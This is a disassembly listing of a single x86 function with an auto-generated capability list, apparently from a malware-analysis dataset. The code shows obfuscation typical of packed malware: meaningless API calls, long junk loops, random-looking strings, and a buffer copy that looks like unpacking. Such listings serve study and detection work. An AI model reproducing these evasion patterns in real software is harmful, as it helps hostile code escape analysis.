Function at 0x470690
Capabilities:
Connect pipe
Get common file path
Get disk information
Get file attributes
Get geographical location
Manipulate console buffer
Move file
Read pipe
Write pipe

Disassembly:
mov eax, 0x1854
call fcn.00407300
mov eax, dword [0x474004]
xor eax, esp
mov dword [esp + 0x1850], eax
mov edx, dword [0x475340]
mov ecx, dword [0x2b73dc4]
push ebx
push ebp
push esi
push edi
xor ebp, ebp
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
cmp eax, 0x4db
jne 0x4706d1
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x4706e5
mov dword [0x475e38], edi
mov dword [0x475e3c], esi
inc eax
cmp eax, 0x1180b56
jl 0x4706c4
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [0x2b73dc4], ecx
xor esi, esi
jmp 0x470700
cmp esi, 0x55b6ff
jne 0x470712
mov eax, dword [0x474ee8]
mov dword [0x2b73ef4], eax
cmp ecx, 0x3c
jne 0x470721
push ebp
push ebp
call edi
mov ecx, dword [0x2b73dc4]
inc esi
cmp esi, 0x4cabaa5c
jl 0x470700
mov edi, dword [sym.imp.KERNEL32.dll_SetCommMask]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
push ebp
push ebp
call edi
call ebx
cmp esi, 0x24c2d
jg 0x47074f
inc esi
cmp esi, 0xee1cb
jl 0x470738
cmp dword [0x2b73dc4], 0x2a
jne 0x47085c
push ebp
lea ecx, [esp + 0x18]
push ecx
push ebp
lea edx, [esp + 0x6c]
push edx
push ebp
push ebp
push ebp
mov dword [0x2b73db8], ebp
mov dword [0x2b73dbc], ebp
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
lea eax, [esp + 0x18]
push eax
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push ebp
xor eax, eax
lea edx, [esp + 0x864]
push edx
push str.wuhajirejaxuyokinaja
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
lea eax, [esp + 0x28]
push eax
push ebp
xor ecx, ecx
push ebp
mov word [esp + 0x34], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
xor ecx, ecx
xor edx, edx
mov word [esp + 0x10], cx
mov word [esp + 0x12], dx
mov eax, dword [esp + 0x10]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push ebp
push ebp
call fcn.0040100f
push ebp
push ebp
call fcn.00401528
push ebp
call fcn.00407474
push ebp
call fcn.0040748e
push ebp
push ebp
call fcn.0040100f
push ebp
call fcn.004012ff
push ebp
push ebp
push ebp
call fcn.0040127b
push ebp
call fcn.00401511
add esp, 0x34
cmp dword [0x2b73dc4], 0x7c
jne 0x470932
push ebp
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebp
lea edx, [esp + 0x864]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebp
push ebp
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push ebp
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0x2e
lea eax, [esp + 0x34]
push ebp
push eax
mov dword [esp + 0x38], ebp
call fcn.00405260
add esp, 0xc
push ebp
lea ecx, [esp + 0x30]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebp
push ebp
push ebp
lea edx, [esp + 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push str.fafob
push str.ciyepaciyodecegapodedan
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push ebp
push ebp
push ebp
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebp
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
push ebp
lea ecx, [esp + 0x1064]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebp
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp dword [0x2b73dc4], 0x2d
jne 0x470923
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebp
call fcn.004013c9
push ebp
call fcn.004013df
add esp, 8
mov edx, dword [0x2b73dc4]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x2b73dc4]
mov esi, eax
xor ecx, ecx
mov dword [0x2b73c0c], esi
cmp edx, ebp
jbe 0x47097f
mov edi, dword [0x2b73ef4]
mov ebp, 0x17bc
nop
mov al, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], al
cmp edx, 0x8d
jne 0x470978
mov dword [0x2b73c10], ebp
inc ecx
cmp ecx, edx
jb 0x470960
xor ebp, ebp
call fcn.004704e0
call fcn.004703a0
call fcn.00470630
mov edi, dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ebx, dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
xor esi, esi
cmp dword [0x2b73dc4], 0x41
jne 0x4709b3
push 0
call edi
push 0
call ebx
cmp esi, 0xd606b
jne 0x4709c0
call fcn.00470390
cmp dword [0x2b73dc4], 0xc
jne 0x4709d6
lea ecx, [esp + 0x14]
push ecx
call ebp
call dword [sym.imp.KERNEL32.dll_GetACP]
inc esi
cmp esi, 0x24e87d
jl 0x4709a2
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, 0x1dfefd
mov edi, 0x8e4e015c
nop
cmp dword [0x2b73dc4], 0x7c4
mov dword [0x2b73c14], edi
jne 0x470a1f
xor eax, eax
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
mov word [esp + 0x14], dx
mov word [esp + 0x16], ax
mov edx, dword [esp + 0x14]
push edx
push eax
push eax
push eax
call esi
sub ebx, 1
jne 0x4709f0
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov edi, edi
cmp eax, 0x408e
jle 0x470a3f
cmp ecx, 0xf5bed7
jne 0x470a47
inc eax
cmp eax, 0x687ed2
jl 0x470a30
mov ecx, dword [esp + 0x1850]
xor ecx, esp
call fcn.00401000
add esp, 0x1854
ret